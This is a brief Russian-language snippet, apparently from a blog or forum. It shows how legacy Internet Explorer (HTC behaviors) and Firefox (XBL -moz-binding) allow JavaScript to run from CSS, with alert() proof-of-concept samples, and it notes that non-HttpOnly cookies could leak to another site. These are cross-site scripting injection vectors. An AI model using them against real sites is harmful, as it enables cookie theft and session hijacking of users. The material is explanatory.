Внутрь css можно встраивать JS для IE и FF.
body {
behavior:url(script.htc);
}
// ....
<public:component tagname="xss">
<public:attach event="ondocumentready" onevent="main()" literalcontent="false" />
</public:component>
<script>
function main() {
alert("HTC script executed.");
}
</script>
body {
-moz-binding: url(script.xml#mycode);
}
// ....
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
<binding>
<implementation>
<constructor>
alert("XBL script executed.");
</constructor>
</implementation>
</binding>
</bindings>
Так что в теории, любые куки без флагов http-only могут улететь на сторонний сайт.